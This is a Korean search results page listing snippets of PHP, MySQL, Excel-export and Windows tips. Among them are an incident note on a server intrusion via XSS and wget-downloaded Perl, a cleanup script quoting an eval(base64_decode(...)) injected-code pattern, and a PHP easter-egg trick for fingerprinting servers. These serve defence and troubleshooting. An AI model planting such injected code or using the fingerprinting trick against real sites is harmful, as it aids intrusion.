검색

자료검색


"php 엑셀" 키워드로 총 127건 검색되었습니다.


[이야기]  서버 침투 예상 경로 서버 예상 경로 Xss 취약점 > Apache 권한 > curl, wget 이용 perl 다운로드 > /tmp/ 에서 perl script 실행 > data,member,inc,notice 하위폴더 데이터 삭제 특이사항 perl cpu점유율 과다 /tmp/ perl 소스 생성 /var/tmp/nc.jpg(내용은 perl) Apache error_log에 wget를 이용한 perl 다운로드 흔적 netstat 중국 ip연결시도 확인추가혹시나 역시 XSS(Cross-site scripting)으로 wget으로...
[갤러리]  나의 인생굴곡 그래프 굴곡이 참 ... ㅎㅎ재미삼아 해보세요.http://www.nsquaresoft.com/life/index.php
[윈도우팁]  엑셀 Alt+Enter 줄바꿈(개행문자:CR-LF)문자 일괄 치환 방법 Ctrl+H 키를 누른 후에 -> 찾을내용 커서에서 -> Alt+10(오른쪽 숫자 키패드) -> 바꿀내용 공백 혹은 치환 문자 지정
[윈도우팁]  윈도우7 엑셀 창 여러개 띄우기, 엑셀 창 두개 이상 띄우기 1, HKEY_CLASSES_ROOT > Excel.Sheet.12 > shell > Open > ddeexec 폴더삭제 >>>폴더 전체를 삭제 합니다!!  2, HKEY_CLASSES_ROOT > Excel.Sheet.12 > shell > Open > command>>>폴더 안에 있는 내용의 command 삭제 3, HKEY_CLASSES_ROOT > Excel.Sheet.12 > shell > Open > c...
[윈도우팁]  전세계 모든 파일 확장자 모음 $$$ 임시 파일 ACE ACE Archiver 압축 파일 ACF 마이크로소프트 에이전트, HTTP 문자 파일 ACL 코렐 드로우 6, 키보드 가속기 파일 ACM 윈도우 시스템 디렉토리 파일 ACM Fallout 1,2, Baulder's Gate, 인터플레이 압축 사운드 파일 ACM Dynamic Link Library (DLL) ACS 마이크로소프트 에이전트, 문자 구조의 저장 파일 AHQ AudioHQ 플러그인 모튤 AI 어도비 일러스트레이터 파일 AI 코렐 트레이스 드로잉 AIF, AIFF Audio Interchang...
[윈도우팁]  인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기 인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기 [Software] 웹 표준과 크로스 브라우징 잘 만든 웹페이지라면 기본적으로 크로스 브라우징을 잘 지원해야 합니다. 물론 블로그도 마찬가지입니다. 이를 확인하는 데에는 특별한 방법이 있는 게 아니라, 코딩을 끝낸 후 여러 제품의 브라우저로 직접 테스트를 해보면 됩니다. W3C Validator로 표준 유효성 검사를 할 수도 있겠지만, 자신의 웹페이지가 유효성 검사를 통과하더라도 크로스 브라우징이 모두 해결된 것은 아닙니다. 현실적으로 모든 브라우저가 웹 표준...
[윈도우팁]  윈도우XP 부팅속도를 더 빠르게 윈도우XP의 부팅 속도가 느리다고 불평하는 사람이라면 다음과 같은 방법으로 부팅 속도를 더 빠르게 만들어 보자. 시작 -< 실행 -< regedit 을 실행해 레지스트리 편집기를 실행한다. HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management/PrefetcherManagers 로 이동한다. 오른쪽 창에 있는 EnablePrefetcher를 더블클릭한 후 값데이터를 1로 바꾼다. and add EnableSup...
[윈도우팁]  iis에서 php 같이 연동하기 1. 우선 php 를 www.php.net 가셔서 windows 용 다운로드합니다. 2. 압축을 풀어서 c:\php 폴더를 만들고 로 복사합니다. 설치 끝입니다. ^^ 3. c:\php 밑에 있는 php.ini-dist 파일을 php.ini 란 이름으로 c:\winnt 폴더로 복사합니다. 4. c:\php 밑에 있는 php4ts.dll 을 c:\winnt\system32 밑에 복사합니다. 5. iis 관리자로 갑니다. php 를 적용하고자 하는 사이트이 등록정보를 엽니다. 6. ISAPI 탭을 눌러...
[윈도우팁]  wdfmgr.exe 서비스 중지 하기 저처럼 궁금해 하는 사람이 있을까봐 여기에다 씁니다. 장치관리자를 실행해보면 이전에는 보이지 않던 두개의 프로세스가 보입니다. wmiprvse.exe 와 wdfmgr.exe 입니다. 처음에는 바이러스이거나 스파이웨어같은게 아닐까 싶었는데 아니라는 군요. 윈도우 미디어 플레이어 10을 설치하면 생기는 것이라는 군요. 관련 URL 붙여놓겠습니다. wdfmgr.exe 라는 것은 서비스 항목에서 사용안함으로 해도 된다는 군요. 그럼 이만 http://www.freedomlist.com/forum/viewtopic.php...
[PC조립]  RAM, 그 의미의 변화 SRAM, DRAM, SDRAM, VRAM, NOVRAM.... 이 많은 종류의 램이 모두 무슨 뜻일까? 일반적으로 알고 있는 "Random Access Memory"란 의미는 약간 진부한 의미이고 일반적으로 RAM이라 하면 휘발성의 메모리를 의미하는 뜻이 되었다. 오래 전에 RAM이 본래의 약자의 의미였을 때는 저장장치에서 특정한 데이터나 아키텍쳐를 찾는 방법을 의미하는 것 이였다. 이 말이 의미하는 것은? RAM 타입의 시스템에서는 어떠한 데이터의 위치를 선택할 수 있고 다음 번에 접근이 가능했다는 것이다. 다른 말로 하...
[개발이슈]  PHP POST 전송데이터 잘리는 현상 - php max_input_vars 설정 [이슈]PHP POST 전송시 잘리는 현상이 발생됨.phpinfo 출력시 max_input_vars 기본값 1000[조치사항]php.ini 파일을 열어 max_input_vars 검색 후 값을 높여줌혹 검색에도 없다면 추가 후 아파치 재시작max_input_vars 5000
[개발이슈]  webtob+php 에서 10MB이상 첨부파일 업로드 시 접속지연 및 서비스 끊어짐 현상 [이슈]webtob+php 에서 10MB이상 첨부파일 업로드 시 접속지연 및 서비스 끊어지는 현상[점검사항]php.ini 최대 파일업로드 점검, 엑세스록, 에러로그, 파일업로드 로직 분리 업로드 테스트, 파일 용량 차등(5MB,10MB,20MB,30MB) 업로드 테스트, 웹방화벽, 방화벽, 자체 방화벽(iptables, selinux, Secuve TOS)[확인 및 조치사항]6개월이라는 장기간의 다양한 방법으로 점검 및 조치결과 성과가 없었으나...혹시나 하는 마음에 하위 디렉토리에서의 phpinfo 를 확인하니 하위 디렉토리...
[CSS]  엑셀내보내기 숫자->문자형 표기 style="mso-number-format:'@';"
[CSS]  엑셀내보내기 숫자 콤마 붙이기 style="mso-number-format:'#,##0';"
[CSS]  엑셀로 변환저장시 <br /> 태그 alt + enter 값으로 인식 <style type="text/css">br{mso-data-placement:same-cell;}</style>
[CSS]  엑셀 내보내기에서 셀 대각선 그리기 엑셀 대각선 그리기mso-diagonal-down:.5pt solid windowtext; mso-diagonal-up:.5pt solid windowtext;
[CSS]  FF bug - flash position:absolute 일때 플래시 무비 사라짐. FF 3.0.x 버전에서 나타나는 버그. (3.5.x 이상 버전에서는 정상동작)플래시 무비가 있는 레이어를 position:absolute로 띄울때, 해당 플래시의 wmode가 transparent 인 경우,플래시 무비가 사라져서 보이지 않음.관련 문서들http://snook.ca/archives/other/hit_bug_in_fire/http://board.flashkit.com/board/showthread.php?t=730647http://www.bigresource.com/FLASH-Firefox-and-wmode-tr...
[PHP]  [JSP] jsp 엑셀 다운로드 후 바로열기 시 에러시 조치방법 에러 환경 : Window10 64bit / office2016헤더 정보의 컨텐츠 타입을 변경"application/vnd.ms-excel" 에서 -->> "application/octet-stream" 으로
[PHP]  PHPExcel 셀높이 기본셋팅 - PHPExcel cell height default setting ## 파일편집/PHPExcel/Worksheet/RowDimension.php## 기본높이 수정private $_rowHeight  = 31.50; ## GAP +0.25pt
[PHP]  strtotime의 +1 month에 대한 테스트 strtotime을 사용하여 오늘로 하여금 다음의 날을 가져올 수 있는 정말 간편한 함수이다. 하지만 하나의 문제 이슈가 있다는 것이다.보통 strtotime을 사용하여 다음달을 가져오는 부분은 date("Y-m-t", strtotime("+1 month")); 이런식이다.문제는 이렇게 할 경우 오늘의 날짜가 31일이고 다음달이 오늘보다 작을 경우 문제가 되는것이다. date("Y-m-t", strtotime("+1 month"));실행날짜 : 2014-05-31예상날짜 : 2014-06-30결과날짜...
[PHP]  기본설치 PHP phpinfo(); 가 안먹힐때 기본 설치한 PHP의 경우 php.ini의 설정에 short_oepn_tag = Off가 되어있어서 <?phpinfo();?>의경우 정상 출력이 되지 않으며 <?phpphpinfo();?>로 정상 출력이 되므로 short_oepn_tag = On 후 아파치를 리스타트 한다./etc/rc.d/init.d/httpd restart혹은 service httpd restart
[PHP]  PHP문서 UTF-8 문자셋인 경우 헤더선언 header("Content-Type: text/html; charset=UTF-8");
[PHP]  fopen, fwrite, fclose 함수를 이용한 파일 읽고,쓰기 <? $SaveContent = '테스트'; $InfoSave = fopen('./testFile.php', (is_file('../testFile.php')) ? 'w':'a'); # 해당파일이 있으면 비우고 쓰기/없으면 생성후 쓰기 fwrite($InfoSave, $SaveContent); # SaveContent변수의 내용 저장 fclose($InfoSave); # 파일 포인터 닫기?>
[PHP]  Apache 및 PHP UTF-8 설정 httpd.conf 파일에서 #Include conf/extra/httpd-languages.conf 주석을 풀어준다.혹은 httpd.conf 에 AddDefaultCharset UTF-8 추가php.ini 파일에 default_charset = "utf-8" 추가 혹은 수정
[PHP]  자주 사용하는 PHP 함수정리 1. 날짜 및 시간 관련함수 time() -용도: 현재 시각을 timestamp값으로 구한다. -방법: time() date() -용도: 사용자가 지정한 형태로 시간을 표시. 특정시간의 날짜와 요일등을 배열로 리턴한다. -방법: date("표시할 시간의 포맷형태","특정한 timestamp값") mktime() -용도: 지정된 날짜를 timestamp값으로 변환한다. -방법: mktime(시,분,초,월,일,년) checkdate() -용도: 날짜와 시간이 올바른 범위 안에 있는지 검사한다. -방법: checkdate(월...
[PHP]  ip2nation 전세계 IP 리스트 sql 파일은 사이트에서 다운로드 받을 수 있으며, 샘플코드는 아래와 같습니다.<?php  $server   = ''; // MySQL hostname $username = ''; // MySQL username $password = ''; // MySQL password $dbname   = ''; // MySQL db name   $db = mysql_connect($server, $username, $passw...
[PHP]  PHP 캐시방지 헤더구문 header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . 'GMT'); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache');header('Content-Type: text/xml');
[PHP]  파일 다운로드 헤더 $file_name = rawurldecode($file_name); $Path=$DOCUMENT_ROOT."/data/$file_name"; if (is_file($Path)) {     Header("Content-type:application/octet-stream");     Header("Content-Length:".filesize($Path));        Header("Content-Disposition...
[PHP]  PHP이용 이미지를 DB에 저장하고 출력하는 방법 테이블 구조 CREATE TABLE gallery( id INT NOT NULL auto_increment, image BLOB NOT NULL, title VARCHAR(100) DEFAULT '' NOT NULL, width SMALLINT(6) DEFAULT '0' NOT NULL, height SMALLINT(6) DEFAULT '0' NOT NULL, file_size INT , # 파일크기 PRIMARY KEY (id) ) ; 이미지 받아들이는 HTML 소스 <form action='gallery.ht...
[PHP]  UTF-8 인코딩에서의 BOM(Byte Order Mark)으로 인한 문제점 다양한 언어를 표현할 수 있도록 해주는 유니코드(Unicode) 인코딩에는 여러가지 방식이 있습니다. 최근 웹 환경에서 많이 쓰이는 UTF-8을 비롯해서 UTF-16, UTF-32 등이 이런 인코딩 방식을 나타냅니다.이렇게 비슷한 방식을 사용하는 문서는 Byte Order Mark(BOM)로 구별이 됩니다. 문서 맨 앞에 눈에 보이지 않는 특정 바이트(byte)를 넣은 다음 이것을 해석해서 정확히 어떤 인코딩 방식이 사용되었는지 알아내는 방법입니다. 그런데 UTF-8 인코딩 방식에서는 BOM이 문제를 일으킬 수 있습니다. UT...
[PHP]  엑셀파일 다운로드 시 한글깨짐 현상  헤드에 아래 처럼 코딩  header( "Content-type: application/vnd.ms-excel; charset=euc-kr" );   header( "Content-Disposition: attachment; filename=TR20".$RoundNumber.".xls" );   header( "Content-Description: PHP4 Generated Data" );   print("<meta http-equiv="Content-Type" conte...
[PHP]  제목혹은 내용 자르기 사용자정의 함수 PHP 문자열자르기 사용자 함수function CutString($str, $len, $suffix="…"){    $s = substr($str, 0, $len);    $cnt = 0;    for ($i=0; $i<strlen($s); $i++)        if (ord($s[$i]) > 127)       ...
[PHP]  sprintf() 이용하여 자리수 맞추기 PHP 함수 사용 예제$value = 1;$check = sprintf('%03d', $value);결과값001설명'%03d' 해당 패턴 형식으로 d는 십진수를 의미하며 0으로 자릿수 3개를 맞추라는 의미 :)
[PHP]  세션 타임 .htaccess 에서 조정하기 .htaccess 파일에 아래 구문 추가 해주면 된다.php_flag session.gc_maxlifetime 3600시간은 초단위이다.
[PHP]  정규표현식 - Basic Syntax of Regular Expressions (정규표현식의 기본 문법) 먼저 특수문자 '^'와 '$'를 살펴봅시다. 이 문자의 역할은 문자열의 시작과 끝을 의미합니다. 다음과 같은 해당 예를 들 수 있습니다. "^The": "The"로 시작하는 문자열 "of despair$": "of despair"로 끝나는 문자열 "^abc$": "abc"로 시작하고 "abc"로 끝나는 문자열 ("abc" 라는 문자열도 해당됨) "notice": "notice"가 들어 있는 문자열 마지막 예제에서 보듯이 이 두 ...
[PHP]  DB 자료를 엑셀파일로 저장 <? $connect_host = "localhost"; $connect_id = "디비아이디"; $connect_pass = "디비비밀번호"; $connect_db = "디비명"; $connect_table = "table_name"; // 대상 테이블명$xls_filename = "filename.xls"; $connect=@mysql_connect($connect_host,$connect_id,$connect_pass); $mysql=@mysql_select_db($connect_db,$connect); head...
[PHP]  PHP 정규식 한글만 추출 $str = 'ㄱㄱㄱ가나다라abcd마바사아virhacㅎ'; $hangul = 'x{1100}-x{11ff}'; $hangul_compatibility = 'x{3130}-x{318f}'; $hangul_syllables = 'x{ac00}-x{d7af}'; preg_match("/['.$hangul.$hangul_compatibility.$hangul_syllables.']+/u",$desc[0],$descs);
[PHP]  .htaccess 수정을 DirectoryIndex 바꿔주기 DirectoryIndex index.do index.html index.htm index.php index.htm Default.html Default.htm
[PHP]  .htaccess 수정하여 index.php 파일 제거 RewriteEngine onRewriteCond $1 !^(index.php|images|robots.txt)RewriteRule ^(.*)$ /index.php/$1 [L]
[PHP]  .do 확장자 인식하게 htaccess 편집 AddType application/x-httpd-php .do
[PHP]  cURL을 이용한 웹페이지 가져오기 <?php function get_content($url) {     $agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';     $curlsession = curl_init ();     curl_setopt ($curlsession...
[PHP]  $PHP_SELF 가 안될때 php.ini에서 register_global 설정이 원인php.ini 에서 이 부분을 register_globals = Off 에서 register_globals = On 웹호스팅이라면 .htaccess 안에 코드삽입<? echo $_SERVER['PHP_SELF'];?>
[PHP]  문자열 함수 모음 AddCSlashes C 형식으로 문자열에 슬래쉬를 덧붙인다.  addslashes 작은따옴표 큰따옴표와 같은 특정문자 앞에 역슬래시 문자를 붙인다.  bin2hex  바이너리 데이터를 16진수 표현으로 바꾼다.  chop 문자열의 끝에 있는 공백문자를 제거하고 문자열을 반환한다.  chr 특정 문자를 반환한다.chr()함수는 아스키함수에 해당하는 문자를 반환한다.ord()함수는 문자열에서 첫번째 문자에 아스키코드값을 반환한다.   chunk_split 문...
[PHP]  PHP에서 사용되는 수학 함수 모음 abs : 절대값을 반환한다. cos :  아크 코사인 base_convert : 수를 임의의 진수로 변환한다. bindec : 2진수를 10진수로 변환한다. ceil : 소수점 이하를 올림하여 값을 구한다. decbin : 10진수를 2진수로 변환한다. dechex : 10진수를 16진수로 변환한다. decoct : 10진수를 8진수로 변환한다. floor : 소수점 이하를 내림하여 값을 구한다. fmod : 나눗셈에서 소수점 나머지를 반환한다. getrandmax : 랜덤 값의 가장 큰 값을 반환...
[PHP]  PHP에서 사용되는 변수 함수 모음 doubleval : 변수의 실수형 값을 얻는다. empty : 변수 값이 존재 하는지 검사한다. get_definde_vars : 정의된 변수의 배열을 반환한다. gettype : 변수 형을 반환한다. import_request_variables : GET/POST/쿠키 변수를 전역으로 가져온다. intval : 변수의 정수형 값을 반환한다. is_array : 변수가 배열형인지 확인한다. is_double : 변수가 실수형인지 확인한다. is_int : 변수가 정수인지 확인한다. is_null : 변수가 n...
[PHP]  addslashes,stripslashes 를 편하게하기 db insert,update 시 addshases는 기본보안 항목일겁니다. 다만, post해서 넘어온 변수를 일일이 addslashes해주는 건 귀찮은 일입니다. 반대로 select로 불러온 뒤 stripslashes하는 것도 상당히 귀찮은 일입니다. 이를 간판하게 하는 방법이 있습니다. 여기에 쉽게 사용방법이 array_map() 함수입니다. post경우 $_POST=array_map('addslashes', $_POST); select경우 $re=mysql_query("select....... while...
[PHP]  base64_encode(), base64_decode() 함수 base64_encode (PHP 3, PHP 4 )base64_encode -- 데이터를 MIME base64로 인코드합니다. 설명string base64_encode ( string data) base64_encode()는 base64로 인코드한 data를 반환합니다. 이 인코딩은 메일 본문과 같이 8비트를 사용할 수 없는 전송층에서 바이너리 데이터를 안전하게 전송하기 위해 설계되었습니다. Base64 인코드 데이터는 원 데이터보다 약 33% 많은 공간을 차지합니다. 예 1. base64...
[PHP]  IP Address로 국가 알아내는 방법 출처: http://ip-to-country.webhosting.info/node/view/6 첨부파일은 위의 출처 사이트에서 제공하는 CSV형식의 2007년 3월 5일자 자료입니다.시간에 따라 자료가 변함으로 최신 파일은 http://www.ihelpers.co.kr/programming/tipntech/ip-to-country.csv.zip을 통해 다운 받으시기 바랍니다. CSV파일의 형식은 다음과 같습니다. "0033996344","0033996351","GB","GBR","UNITED KING...
[PHP]  미리보기 이미지 썸네일 만들기 함수 PHP 소스 코드 PHP에서 GD 라이브러리를 활용해서 썸네일을 만들어주는 함수의 소스 코드입니다. 홈페이지를 만들다 보면 사진첩과 같이 이미지를 다수 노출해야 되는 페이지를 구성할 때 필요한 것이 썸네일이며 이를 이용하면 페이지의 로딩 속도를 향상시켜 주며 원본 이미지를 작게 보여줄 때 좀더 선명하게 표현해줄 수 있습니다. 자신의 필요에 맞게 함수를 구성할 수 있는 분이 아니라면 복사해서 활용해보시면 되겠습니다. 함수 파라메터 끝에는 썸네일을 저장할 파일 경로를 입력하시면 되고 경로를 입력하지 않으면 바로 출력됩니다.<?make_thum...
[PHP]  KCP 결제시 "9502" 오류가 발생합니다. KCP 결제시 "9502" 오류가 발생합니다. shop/kcp/payplus/bin 폴더의 pp_cli 파일을 ftp 로 업로드 하시는 경우 전송모드를 바이너리로 하시기 바랍니다. pp_cli 파일과 shop/kcp/payplus/bin, shop/kcp/payplus/log 폴더의 퍼미션을 777 로 변경하시기 바랍니다. 모든게 정상이라면 phpinfo()를 확인하여 safe_mode가 Off 로 되어 있는지 확인하여 주십시오. safe_mode가 On인 경우에는 정상 작동하지 않습니다. 방화벽이나 DNS 미설치로 인해 95...
[PHP]  현재 페이지의 도메인명이나 url등의 정보 알아오기 <?   $hostname=$_SERVER["HTTP_HOST"]; //도메인명(호스트)명을 구합니다.   $uri= $REQUEST_URI; //uri를 구합니다.   $query_string=getenv("QUERY_STRING"); // Get값으로 넘어온 값들을 구합니다.   $phpself=$_SERVER["PHP_SELF"]; //현재 실행되고 있는 페이지의 url을 구합니다.   &nb...
[PHP]  웹사이트의 유효성 체크 fsockopen 함수로 해당 웹사이트가 제대로 연결 되는지 체크하는 소스입니다.연결이 성공하면, 웹사이트가 정상적으로 동작하는 것이므로 해당 웹사이트로 바로 이동합니다.fsockopen 함수의 첫번째 인자로 호스트명(도메인)외에 몇가지 테스트를 해봤는데, 제대로 된 동작은 인자가 호스트명일 때 뿐이였습니다.<?php    $host = "www.webmadang.net";    $port = 80;     //호...
[PHP]  정규식을 이용한 IP주소 유효성 체크 아이피 주소가 형식에 맞나 체크하는 함수로 참이면 1을 거짓이면 0을 반환합니다.<?php     $ipCheck = checkIPAddr("192.168.0.1");    echo$ipCheck;  function checkIPAddr($ip){    $result = 0;     if (preg_match('/^(?:25[0-5]|2[0-4]d|1dd|...
[PHP]  이스트에그를 이용한 PHP 사이트 확인 이걸 이용하면 해당 사이트가 PHP로 되어 있는지 어떤 서버 조건에서 돌아가고 있는지 알 수 있다.해당 사이트에 ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 를 붙여 보면 된다.물론 PHP가 돌아가는 사이트에서만 수행되므로 다른 플랫폼의 정보는 볼 수 없다.그리고 PHP 4.X버전에서만 돌아가는 것 같고 해당 이스트에그가 돌아가지 않게 하는 패치도 있으니 이 방법이 안통한다고 PHP아니다라고 할 수는 없다.다만 이방법으로 확인되면 PHP로 제작된 사이트임에 틀림없다.
[PHP]  클래스 사용법 php에서의 클래스는 객체지향에 관계된 클래스라기 보다는 함수와 변수를 하나로 묶어 놓은 것이라는 정도로 이해하는 것이 더 좋다.클래스를 생성class ClassName {}위와 같이 클래스를 작성한다. 이런후에 그 안에 변수와 함수를 넣는다. 물론 생성자함수도 만들어도 된다. 안만든다면 php에서 자동으로 빈 생성자 함수를 만든다.class ClassName {var $var1;var $var2;function ClassName() {//생성자 함수} function functionName1() {//처리할 함수1}}이렇게 ...
[PHP]  javascript 에서 php 실행하고 결과값 리턴 받기..(리프레쉬 없이) javascript 에서 php 실행하고 결과값 리턴 받기..(리프레쉬 없이) 아래소스는 서버에서 시간 값을 읽어서 화면에 1초 단위로 뿌려 줍니다 # index.htm 파일 <html> <body onload="time();"> <script id="dynamic"></script> <script>         var data= 0;        ...
[PHP]  다른 이름으로 다운로드시키기 <? $boardUploadDIR = "실제파일이 존재하는 절대경로 디렉토리"; $file_OldName = "파일의 원래이름"; $file_Name = "바꾸고 싶은 이름"; if(eregi("(MSIE*)", $HTTP_USER_AGENT)){         Header("Content-type: application/octet-stream");         Header("Content-Len...
[PHP]  php.ini 일반적인 구성 PHP 의 일부 일반 기능 및 내장된 기능들에 영향을 미치는 몇 가지 구성 매게변수들에 대하여 알아보기로 하겠습니다. ■ auto_append_file String 메인 파일 다음에 자동으로 분석되는 파일 이름을 String 에 지정한다. 이렇게 지정된 파일은 include() 함수로 호출된 것 처럼 포함된다. 특수값인 none 은 자동 추가 기능을 중지 시킨다. 만약 스크립트가 exit() 로 종료된다면 auto-append 작업이 수행되지 않는다. 이 명령어는 특정 웹 사이트에 정형화된 모습과 느낌을 주고자 PHP가 페이지...
[PHP]  파일 다운로드 속도 제한 <?php $file = "test.mp3"; // 파일을 클라이언트가 받는다. $speed = 8.5; // 8,5 kb/s 비율로 다운로드를 받는다. if(file_exists($file) && is_file($file)) {    header("Cache-control: private");    header("Content-Type: audio/mp3");    header("Content-Length: ".filesize($file));  ...
[PHP]  자주 쓰이는 내장함수 basename -- 경로명에서 파일이름만 반환합니다 chgrp -- 파일의 그룹을 변환합니다 chmod -- 파일의 모드 변경 chown -- 파일의 소유자 변경 clearstatcache -- 파일의 통계(stat) 캐시를 삭제합니다. copy -- 파일을 복사합니다 delete -- 실제로는 없는 명령 dirname -- 경로의 구성요소중에서 디렉토리 이름만 반환합니다. disk_free_space -- Returns available space in directory disk_total_space -- Returns t...
[PHP]  extract() 언제, 왜 사용하는것일까? php.ini 파일에 register_globals 라는 설정과 관련있습니다. register_globals 라는 설정이 on 으로 설정되어 있을 때는 현재 페이지로 전달되는 변수 및 서버 변수들을 이름 그대로 사용하실 수 있습니다. 하지만 반대로 off 로 설정되어 있을 때는 불가능 합니다. PHP 4.2.0 버전 부터 이 register_globals 라는 설정이 off 를 기본 값으로 배포가 되고 있습니다. 그 이유는 보안상의 문제 때문입니다.<?if(check_login()) {   $login_...
[PHP]  range() array range(mixed low, mixed high, number step) * 첫 번째 인자와 두 번째 인자 사이의 모든 정수를 그 원소로 갖는 배열을 생성한다. *low: 낮은 값; high: 높은 값 *step : 주어지지 않으면 1, 값이 주어지면 연속적인 원소들의 증가값으로 사용될 것이다. <?php// array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 1...
[PHP]  highlight_string() mixed highlight_string(stirng str, bool return)php 스크립트를 담고 있는 코드일 경우, php 코드를 다양한 색으로 출력한다. <?php$str = "<? echo "안녕하세요" ?>";highlight_string($str);?><? echo "안녕하세요" ?>
[PHP]  highlight_file() / show_source() mixed highlight_file(string filename, bool return) = show_source(string filename) filename 파일을 전체로 받아 모든 코드가 php 태그, 문자열, 변수, 함수 등으로 나뉘어 다른 색깔로 출력된다.
[PHP]  basename() string basename(string path, string suffix)* path란 전체 파일의 전체 경로명을 인수로 받아 파일명만을 반환한다. * suffix : 출력되는 파일명의 끝부분의 문자를 삽입시 생략이 된다. <?php$path = "/home/httpd/html/index.php";$file = basename($path);         // $file is&n...
[PHP]  iframe hacking 당한 후에 사용한 치료용 스크립트 실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을 수정하는 방식으로 되어 있다.     파일명 : kickHack.php   <?php//usage : php -f kickHack.php @infected directory root $hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGw...
[PHP]  자주사용 하는 이미지 오버 출력 PHP 코드  ## 롤오버 이미지 컨트롤 PHP 코드 function img_over($img){  echo"name="".$img."""." "."onmouseover="".$img.".src='img/".$img."_ov.gif'""." "."onmouseout="".$img.".src='img/".$img.".gif'""; }함수 호출 방법<img src="/img/mn_cnt_btn_03.gif" width="182" height="16" <?=img_ove...
[MYSQL]  그누보드 UNION을 이용한 인기게시물 뽑아오기 그누보드의 경우 각 게시판마다 테이블이 정해져있다. 때문에 기본키인 wr_id가 중복이 되므로 조인이 불가능하다. 다른 방법으로는 게시판을 지정 후 PHP에서 코딩으로 정해진 테이블에 접근 후 해당 배열을 합쳐 배열을 정렬하는 방법이 있을 수 있다. 하지만 이 방법은 비효율적이라 생각되고 프로그램상 DB에 여러번 접근하는 방법은 좋은 방법이 아닌거 같다. 기존에 최근게시물 혹은 추천게시물의 경우 따로 테이블이 지정되어 있어 바로 사용할 수 있다.쿼리 예)$RESULT= mysql_query(" ( SELECT...
[MYSQL]  mysql 디비테이블 오래된자료 자동삭제 mysql 디비에 등록되는 접속자로그 또는 시스템관련 로그는 디비에 쌓이게 되면 용량이 장난아니게 늘어난다. 일정기간이 지나면 도움도 안될뿐더러 용량만 차지하게 된다. 로그는 그때그때 보는게 최고.. mysql 자체적으로는 자동삭제는 불가능하며 php를 이용한 방법과 crontab에 등록해서 사용하는 방법이 있다. 쉘에서 실행하는 명령은 mysql -e "명령" 이렇게 사용한다. 30일이 지난자료 삭제 mysql -u아이디 -p비밀번호 디비명 -e "DELETE FROM  테이블명 WHERE 날짜필드명 <...
[MYSQL]  Mysql명령어 정리 자주쓰는 명령 정리   # root암호설정 - root로 로그인하여 해야함% mysqladmin -u root password '변경암호'% mysqladmin -u root -p기존암호 password '변경암호' root암호변경설정PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !This is done with:/usr/bin/mysqladmin -u root -p password 'new-password'/usr/bin/mysqladmin -u r...
[MYSQL]  mysql 명령어에서 엑셀파일 *.csv로 만드는 방법   csv 는 말 그대로 콤마로 구분된 일반 데이타입니다. php 로 일반적인 쿼리날려서 가져온 데이타를 반복문을 사용하여 csv 형태로 만드는 방법과 쿼리로 처리하는 방법이 있습니다. http://www.mysql.com/doc/en/SELECT.html 에 보면 select outfile 을 이용하여 결과를 저장할 수 있습니다. 예) SELECT a,b,a+b INTO OUTFILE "/tmp/result.text" FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LI...
[MYSQL]  MySQL 함수 숫자 관련 함수 ▶ ABS(숫자) : 절대값 출력.    select abs(123);▶ CEILING(숫자) : 값보다 큰 정수 중 가장 작은 수.   --양수일 경우는 소숫점 자리에서 무조건 반올림(4.0과 같은 소숫점 자리 0 값은 제외)   --음수일 경우는 소숫점 자리를 무조건 버림    select ceiling(4.0);    select ceilin...
[HTML]  엑셀 셀에 HTML(css)로 X 표 그리기 mso-diagonal-up:.5pt solid windowtext; 오른쪽 위에서 왼쪽 아래로 줄 긋기mso-diagonal-down:.5pt solid windowtext; 왼쪽 위에서 오른쪽 아래르 줄 긋기이 두가지를 사용해서 CSS로 셀에 X 구현이 가능하다.
[HTML]  한국의 전통색 무채색계(無彩色界) 흑백 1D1E23 93,89,83,52 백색 FFFFFF 0,0,0,0 회색 A4AAA7 38,27,31,0 구색 959EA2 45,32,32,0 치색 616264 72,64,62,4 연지회색 6F606E 55,58,40,20 설백색 DDE7E7 12,4,7,0 유배색 E7E6D2 9,5,18,0 지배색 E3DDCB 6,6,17,4 소색 D8C8B2 10,15,26,5 적색계(赤色界) 적색 B82647 21,98,68,8 홍색 F15B5B 0,80,60,0 적토색 9F494C 29,...
[HTML]  아래아한글의 '표'를 드림위버MX로 우리의 자랑스런 플그림...아래아한글은..2000년을 지나면서 욕이란 욕은 다 들어먹고 다니는데... 특히, 웹쪽에 종사하는 사람으로서는....아래아한글에서 다른 프로그램으로 Copy가 원활하게 이루어지지 않는 것 때문에 한번 욕을 먹고, 또또또...특히, 관공서와 일을 하거나, 준 관공서와 일을 하게 되면... 모든 문서를 아래아한글로 주는 것 때문에..엄청난 스테레스를 받게 된다. 관공서 문서의 표...장난이 아니다. 기획자는 타이핑하기 힘들다는 이유로 디자이너에게 그냥 넘기게 되고, 타이핑해야 하는 디자이너는 저기압모...
[HTML]  최근 게시물보기 속도 빠르게 만들기 최근 게시판 속도 빠르게 하는 방법입니다. 홈페이지에 제로보드 게시판을 이용하여 php 프로그램을 많이 하십니다. 특히 게시물이 많아질 수록 최근 게시물을 로드하는데 시간이 오래 걸림을 많이 느끼시게 될 것입니다. 그 문제를 해결하기 위해 여러가지로 알아 보았더니 원인은 바로 select 문에서 사용하는 order by 에 있었습니다. 예) select * from zetyx_board_free where is_secret=0 and father=0 order by no desc limit 10 order by 에 의해...
